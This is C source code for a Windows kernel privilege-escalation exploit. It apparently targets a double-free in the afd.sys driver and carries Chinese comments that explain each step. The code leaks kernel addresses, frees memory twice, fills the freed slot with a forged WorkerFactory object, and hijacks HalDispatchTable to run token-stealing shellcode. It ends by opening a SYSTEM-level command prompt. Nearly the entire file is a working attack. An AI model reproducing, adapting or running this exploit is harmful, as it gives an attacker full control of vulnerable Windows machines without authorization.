typedef NTSTATUS(__stdcall
*
__NtCreateWorkerFactory)(PHANDLE, ACCESS_MASK, PVOID, HANDLE, HANDLE, PVOID, PVOID, ULONG, SIZE_T, SIZE_T);
typedef NTSTATUS(__stdcall
*
__NtQueryEaFile)(HANDLE, PVOID, PVOID, ULONG, BOOLEAN, PVOID, ULONG, PULONG, BOOLEAN);
typedef NTSTATUS(__stdcall
*
__NtQuerySystemInformation)(ULONG, PVOID, ULONG, PULONG);
typedef NTSTATUS(__stdcall
*
__NtSetInformationWorkerFactory)(HANDLE, ULONG, PVOID, ULONG);
typedef NTSTATUS(__stdcall
*
__NtQueryIntervalProfile)(DWORD, PULONG);
typedef NTSTATUS(__stdcall
*
__PsLookupProcessByProcessId)(DWORD, LPVOID
*
);
typedef NTSTATUS(__stdcall
*
__NtQueryInformationWorkerFactory)(HANDLE,
LONG
, PVOID, ULONG, PULONG);
typedef struct _SYSTEM_MODULE_INFORMATION_ENTRY {
HANDLE Section;
PVOID MappedBase;
PVOID Base;
ULONG Size;
ULONG Flags;
USHORT LoadOrderIndex;
USHORT InitOrderIndex;
USHORT LoadCount;
USHORT OffsetToFileName;
CHAR ImageName[
256
];
} SYSTEM_MODULE_INFORMATION_ENTRY,
*
PSYSTEM_MODULE_INFORMATION_ENTRY;
typedef struct _SYSTEM_MODULE_INFORMATION {
ULONG Count;
SYSTEM_MODULE_INFORMATION_ENTRY Module[
1
];
} SYSTEM_MODULE_INFORMATION,
*
PSYSTEM_MODULE_INFORMATION;
typedef struct _IO_STATUS_BLOCK {
union {
NTSTATUS Status;
PVOID Pointer;
};
ULONG_PTR Information;
} IO_STATUS_BLOCK,
*
PIO_STATUS_BLOCK;
__NtCreateWorkerFactory MyNtCreateWorkerFactory
=
NULL;
__NtQueryEaFile MyNtQueryEaFile
=
NULL;
__NtQuerySystemInformation MyNtQuerySystemInformation
=
NULL;
__NtSetInformationWorkerFactory MyNtSetInformationWorkerFactory
=
NULL;
__NtQueryIntervalProfile MyNtQueryIntervalProfile
=
NULL;
__PsLookupProcessByProcessId MyPsLookupProcessByProcessId
=
NULL;
__NtQueryInformationWorkerFactory MyNtQueryInformationWorkerFactory
=
NULL;
DWORD MyHalDispatchTable
=
NULL;
DWORD oldHaliQuerySystemInformation
=
NULL;
HANDLE hWorkerFactory
=
NULL;
typedef DWORD PEPROCESS;
DWORD GetFuncAddr()
{
/
/
获取ntdll中的导出函数
HMODULE hNtdll;
hNtdll
=
GetModuleHandle(
"ntdll.dll"
);
if
(hNtdll
=
=
NULL)
{
printf(
"GetModuleHandle Failed %p\n"
, GetLastError());
return
0
;
}
MyNtCreateWorkerFactory
=
GetProcAddress(hNtdll,
"NtCreateWorkerFactory"
);
MyNtQueryEaFile
=
GetProcAddress(hNtdll,
"NtQueryEaFile"
);
MyNtQuerySystemInformation
=
GetProcAddress(hNtdll,
"NtQuerySystemInformation"
);
MyNtSetInformationWorkerFactory
=
GetProcAddress(hNtdll,
"NtSetInformationWorkerFactory"
);
MyNtQueryIntervalProfile
=
GetProcAddress(hNtdll,
"NtQueryIntervalProfile"
);
MyNtQueryInformationWorkerFactory
=
GetProcAddress(hNtdll,
"ZwQueryInformationWorkerFactory"
);
if
(!MyNtCreateWorkerFactory || !MyNtQueryEaFile || !MyNtQuerySystemInformation || !MyNtSetInformationWorkerFactory ||
!MyNtQueryIntervalProfile || !MyNtQueryInformationWorkerFactory)
{
printf(
"GetProcAddress Failed %p\n"
, GetLastError());
return
0
;
}
/
/
获取nt基址PsLookupProcessByProcessId与HalDispatchTable地址
NTSTATUS Status;
DWORD cbNeed;
Status
=
MyNtQuerySystemInformation(
11
, NULL,
0
, &cbNeed);
if
(Status !
=
STATUS_INFO_LENGTH_MISMATCH)
{
printf(
"MyNtQuerySystemInformation Failed %p\n"
, Status);
return
0
;
}
PSYSTEM_MODULE_INFORMATION Info
=
(PSYSTEM_MODULE_INFORMATION)malloc(cbNeed);
Status
=
MyNtQuerySystemInformation(
11
, Info, cbNeed, &cbNeed);
if
(!NT_SUCCESS(Status))
{
printf(
"MyNtQuerySystemInformation Failed %p\n"
, Status);
return
0
;
}
DWORD Ntbase
=
Info
-
>Module[
0
].Base;
HMODULE Mynt
=
LoadLibrary(Info
-
>Module[
0
].ImageName
+
Info
-
>Module[
0
].OffsetToFileName);
if
(Mynt
=
=
NULL)
{
printf(
"LoadLibrary Nt Failed\n"
);
return
0
;
}
MyHalDispatchTable
=
(ULONG)GetProcAddress(Mynt,
"HalDispatchTable"
)
-
(ULONG)Mynt
+
Ntbase;
if
(MyHalDispatchTable
=
=
NULL)
{
printf(
"Get HalDispatchTable Failed %p\n"
, GetLastError());
return
0
;
}
MyPsLookupProcessByProcessId
=
(ULONG)GetProcAddress(Mynt,
"PsLookupProcessByProcessId"
)
-
(ULONG)Mynt
+
Ntbase;
if
(MyPsLookupProcessByProcessId
=
=
NULL)
{
printf(
"Get PsLookupProcessByProcessId Failed %p\n"
, GetLastError());
return
0
;
}
return
1
;
}
NTSTATUS __stdcall Shellcode(
int
a,
int
b,
int
c,
int
d)
{
/
/
获取自己和系统进程的EPROCESS
PEPROCESS pCur, pSys;
DWORD ObjTable;
MyPsLookupProcessByProcessId(GetCurrentProcessId(), &pCur);
MyPsLookupProcessByProcessId(
4
, &pSys);
/
/
提权
0xF8
为token位置
*
(DWORD
*
)(pCur
+
0xF8
)
=
*
(DWORD
*
)(pSys
+
0xF8
);
/
/
绕过清理句柄
ObjTable
=
*
(DWORD
*
)(pCur
+
0xF4
);
*
(DWORD
*
)(ObjTable
+
0x30
)
-
=
1
;
ObjTable
=
*
(DWORD
*
)ObjTable;
*
(DWORD
*
)(ObjTable
+
((DWORD)hWorkerFactory
*
2
))
=
0
;
/
/
恢复Hook
*
(DWORD
*
)(MyHalDispatchTable
+
4
)
=
oldHaliQuerySystemInformation;
return
0
;
}
int
main(
int
argc, char
*
*
argv)
{
/
/
获取需要的所有地址
if
(!GetFuncAddr())
{
printf(
"GetFuncAddr Failed \n"
);
return
0
;
}
DWORD mdlSize
=
0xA0
;
DWORD virtualAddress
=
0x710DDDD
;
/
/
MDL的大小 头部加物理页编号 如果你的地址或长度低
12
不为
0
则多申请一个页
/
/
这里明显地址低
12
位不为
0
所以
-
1
正好
0xA0
的大小
DWORD length
=
((mdlSize
-
0x1C
)
/
4
-
(virtualAddress
%
4
?
1
:
0
))
*
0x1000
;
/
/
这里初始化第一次IO控制的inputbuf 以达到第一次释放的目标
static BYTE inbuf1[
0x30
];
memset(inbuf1,
0
, sizeof(inbuf1));
*
(ULONG
*
)(inbuf1
+
0x18
)
=
virtualAddress;
*
(ULONG
*
)(inbuf1
+
0x1C
)
=
length;
*
(ULONG
*
)(inbuf1
+
0x28
)
=
1
;
/
/
这里初始化第二次IO控制的inputbuf 以到达第二次释放的目标
static BYTE inbuf2[
0x10
];
memset(inbuf2,
0
, sizeof(inbuf2));
*
(ULONG
*
)inbuf2
=
1
;
*
(ULONG
*
)(inbuf2
+
4
)
=
0x0AAAAAAA
;
WSADATA WSAData;
SOCKET s;
SOCKADDR_IN sa;
int
ierr;
WSAStartup(
0x2
, &WSAData);
s
=
socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
memset(&sa,
0
, sizeof(sa));
sa.sin_port
=
htons(
135
);
sa.sin_addr.S_un.S_addr
=
inet_addr(
"127.0.0.1"
);
sa.sin_family
=
AF_INET;
/
/
创建会调用到afd.sys漏洞函数的socket句柄
ierr
=
connect(s, (const struct sockaddr
*
)&sa, sizeof(sa));
/
/
释放第一次申请的mdl结构,大小为
0xA0
DeviceIoControl((HANDLE)s,
0x1207F
, (LPVOID)inbuf1,
0x30
, NULL,
0
, NULL, NULL);
/
/
创建一个 WorkerFactory
Object
来占坑释放的 mdl
0xA0
的空间
HANDLE hCompletionPort
=
CreateIoCompletionPort(INVALID_HANDLE_VALUE, NULL,
1337
,
4
);
/
/
创建WorkerFactory对象
DWORD Status
=
MyNtCreateWorkerFactory(&hWorkerFactory, GENERIC_ALL, NULL, hCompletionPort, (HANDLE)
-
1
, NULL, NULL,
0
,
0
,
0
);
/
/
第二次释放 释放掉的内存是 WorkerFactory
Object
DeviceIoControl((HANDLE)s,
0x120C3
, (LPVOID)inbuf2,
0x10
, NULL,
0
, NULL, NULL);
/
/
开始操作WorkerFactory
Object
BYTE WorkerFactory[
0xA0
]
=
{
0
};
/
/
申请的时候把对象前
0x28
字节复制过来 Handle置为NULL
BYTE ObjHead[
0x28
]
=
{
0x00
,
0x00
,
0x00
,
0x00
,
0xA8
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x01
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x16
,
0x00
,
0x08
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
,
0x00
};
memcpy(WorkerFactory, ObjHead,
0x28
);
/
/
任意读的地址
*
(
*
(obj
+
0x64
)
+
0xB4
)
=
MyHalDispatchTable
+
4
PBYTE pObj
=
WorkerFactory
+
0x28
;
*
(DWORD
*
)(pObj
+
0x64
)
=
MyHalDispatchTable
-
0xB4
+
4
;
/
/
任意写 把
*
arg3 的内容 写入到
*
(
*
(
*
object
+
0x10
)
+
0x1C
)
/
/
*
(
*
object
+
0x10
)
+
0x1C
=
MyHalDispatchTable
+
4
/
/
因为
*
object
所以没办法在本对象内构造数据
/
/
所以需要另一个内存来构造数据
BYTE y[
0x14
]
=
{
0
};
*
(DWORD
*
)pObj
=
(DWORD)y;
PBYTE py
=
y;
/
/
现在有一个内存y
*
(y
+
0x10
)
+
0x1C
=
MyHalDispatchTable
+
4
/
/
所以
*
(y
+
0x10
)
=
MyHalDispatchTable
+
4
-
0x1C
即可
*
(DWORD
*
)(py
+
0x10
)
=
MyHalDispatchTable
+
4
-
0x1C
;
/
/
现在把伪造的对象拷贝到释放掉的内存
IO_STATUS_BLOCK IoStatus;
MyNtQueryEaFile(INVALID_HANDLE_VALUE, &IoStatus,
0
,
0
,
0
, WorkerFactory,
0xA0
-
0x4
,
0
,
0
);
/
/
读 oldHaliQuerySystemInformation
/
/
内核会返回
0x60
自己的数据 需要的数据被放在 kernelRetMem
+
0x50
BYTE kernelRetMem[
0x60
]
=
{
0
};
MyNtQueryInformationWorkerFactory(hWorkerFactory,
7
, kernelRetMem,
0x60
, NULL);
oldHaliQuerySystemInformation
=
*
(DWORD
*
)(kernelRetMem
+
0x50
);
/
/
写shellcode地址到HalDispatchTable
+
4
DWORD scAddr
=
(DWORD)Shellcode;
MyNtSetInformationWorkerFactory(hWorkerFactory,
8
, &scAddr,
4
);
/
/
调用shellcode
DWORD Interval;
MyNtQueryIntervalProfile(
2
, &Interval);
/
/
提权后创建一个system权限的cmd
ShellExecuteA(NULL,
"open"
,
"cmd.exe"
, NULL, NULL, SW_SHOW);
system(
"pause"
);
return
0
;
}